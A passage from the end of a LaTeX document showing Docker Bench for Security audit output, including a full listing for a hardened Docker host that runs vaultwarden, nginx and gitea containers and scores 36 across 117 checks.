[PASS][0m 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
Section C - Score[0m
[INFO][0m Checks: 117
[INFO][0m Score: 1
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Hardened configuration}
\label{docker_bench:hardened}
\begin{minted}[breaklines,tabsize=2,breakanywhere,fontsize=\footnotesize]{text}
Initializing 2025-05-19T16:22:41+00:00
Section A - Check results[0m
[INFO][0m 1 - Host Configuration
[INFO][0m 1.1 - Linux Hosts Specific Configuration
[WARN][0m 1.1.1 - Ensure a separate partition for containers has been created (Automated)
[INFO][0m 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
[INFO][0m * Users: vagrant,git
[PASS][0m 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
[PASS][0m 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
[PASS][0m 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
[PASS][0m 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
[PASS][0m 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
[PASS][0m 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
[WARN][0m 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
[PASS][0m 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
[PASS][0m 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
[PASS][0m 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
[INFO][0m 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
[INFO][0m * File not found
[WARN][0m 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
[WARN][0m 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
[WARN][0m 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
[WARN][0m 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
[WARN][0m 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
[INFO][0m 1.2 - General Configuration
[NOTE][0m 1.2.1 - Ensure the container host has been Hardened (Manual)
[PASS][0m 1.2.2 - Ensure that the version of Docker is up to date (Manual)
[INFO][0m * Using 28.1.1 which is current
[INFO][0m * Check with your operating system vendor for support and security maintenance for Docker
[INFO][0m 2 - Docker daemon configuration
[NOTE][0m 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
[PASS][0m 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
[PASS][0m 2.3 - Ensure the logging level is set to 'info' (Scored)
[PASS][0m 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
[PASS][0m 2.5 - Ensure insecure registries are not used (Scored)
[PASS][0m 2.6 - Ensure aufs storage driver is not used (Scored)
[INFO][0m 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
[INFO][0m * Docker daemon not listening on TCP
[INFO][0m 2.8 - Ensure the default ulimit is configured appropriately (Manual)
[INFO][0m * Default ulimit doesn't appear to be set
[WARN][0m 2.9 - Enable user namespace support (Scored)
[PASS][0m 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
[PASS][0m 2.11 - Ensure base device size is not changed until needed (Scored)
[WARN][0m 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
[WARN][0m 2.13 - Ensure centralized and remote logging is configured (Scored)
[PASS][0m 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
[PASS][0m 2.15 - Ensure live restore is enabled (Scored)
[PASS][0m 2.16 - Ensure Userland Proxy is Disabled (Scored)
[INFO][0m 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
[INFO][0m Ensure that experimental features are not implemented in production (Scored) (Deprecated)
[INFO][0m 3 - Docker daemon configuration files
[PASS][0m 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
[PASS][0m 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
[PASS][0m 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
[PASS][0m 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
[PASS][0m 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
[PASS][0m 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
[INFO][0m 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
[INFO][0m * No TLS Key found
[INFO][0m 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
[INFO][0m * No TLS Key found
[PASS][0m 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
[PASS][0m 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
[PASS][0m 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
[PASS][0m 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
[PASS][0m 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
[PASS][0m 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m * File not found
[INFO][0m 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
[INFO][0m * File not found
[PASS][0m 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
[PASS][0m 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
[INFO][0m 4 - Container Images and Build File
[WARN][0m 4.1 - Ensure that a user for the container has been created (Automated)
[WARN][0m * Running as root: vaultwarden
[WARN][0m * Running as root: nginx
[WARN][0m * Running as root: gitea
[NOTE][0m 4.2 - Ensure that containers use only trusted base images (Manual)
[NOTE][0m 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
[NOTE][0m 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
[WARN][0m 4.5 - Ensure Content trust for Docker is Enabled (Automated)
[WARN][0m 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
[WARN][0m * No Healthcheck found: [docker.gitea.com/gitea:latest]
[WARN][0m * No Healthcheck found: [nginx:latest]
[PASS][0m 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
[NOTE][0m 4.8 - Ensure setuid and setgid permissions are removed (Manual)
[INFO][0m 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
[INFO][0m * ADD in image history: [vaultwarden/server:latest]
[NOTE][0m 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
[NOTE][0m 4.11 - Ensure only verified packages are installed (Manual)
[NOTE][0m 4.12 - Ensure all signed artifacts are validated (Manual)
[INFO][0m 5 - Container Runtime
[PASS][0m 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
[PASS][0m 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
[WARN][0m 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
[WARN][0m * No SecurityOptions Found: vaultwarden
[WARN][0m * No SecurityOptions Found: nginx
[WARN][0m * No SecurityOptions Found: gitea
[PASS][0m 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
[PASS][0m 5.5 - Ensure that privileged containers are not used (Automated)
[PASS][0m 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN][0m 5.7 - Ensure sshd is not run within containers (Automated)
[WARN][0m * Container running sshd: gitea
[WARN][0m 5.8 - Ensure privileged ports are not mapped within containers (Automated)
[WARN][0m * Privileged Port in use: 80 in nginx
[WARN][0m * Privileged Port in use: 443 in nginx
[WARN][0m 5.9 - Ensure that only needed ports are open on the container (Manual)
[WARN][0m * Port in use: 80 in nginx
[WARN][0m * Port in use: 443 in nginx
[PASS][0m 5.10 - Ensure that the host's network namespace is not shared (Automated)
[PASS][0m 5.11 - Ensure that the memory usage for containers is limited (Automated)
[PASS][0m 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
[WARN][0m 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN][0m * Container running with root FS mounted R/W: vaultwarden
[WARN][0m * Container running with root FS mounted R/W: gitea
[WARN][0m 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[PASS][0m 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
[PASS][0m 5.16 - Ensure that the host's process namespace is not shared (Automated)
[PASS][0m 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
[PASS][0m 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
[INFO][0m 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
[INFO][0m * Container no default ulimit override: vaultwarden
[INFO][0m * Container no default ulimit override: nginx
[INFO][0m * Container no default ulimit override: gitea
[PASS][0m 5.20 - Ensure mount propagation mode is not set to shared (Automated)
[PASS][0m 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
[PASS][0m 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
[NOTE][0m 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
[NOTE][0m 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
[PASS][0m 5.25 - Ensure that cgroup usage is confirmed (Automated)
[PASS][0m 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
[WARN][0m 5.27 - Ensure that container health is checked at runtime (Automated)
[WARN][0m * Health check not set: nginx
[INFO][0m 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
[PASS][0m 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
[PASS][0m 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
[PASS][0m 5.31 - Ensure that the host's user namespaces are not shared (Automated)
[PASS][0m 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
[INFO][0m 6 - Docker Security Operations
[INFO][0m 6.1 - Ensure that image sprawl is avoided (Manual)
[INFO][0m * There are currently: 3 images
[INFO][0m 6.2 - Ensure that container sprawl is avoided (Manual)
[INFO][0m * There are currently a total of 3 containers, with 3 of them currently running
[INFO][0m 7 - Docker Swarm Configuration
[PASS][0m 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
[PASS][0m 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
[PASS][0m 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
[PASS][0m 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
[PASS][0m 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
[PASS][0m 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
[PASS][0m 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
Section C - Score[0m
[INFO][0m Checks: 117
[INFO][0m Score: 36
\end{minted}
\end{code}
\end{document}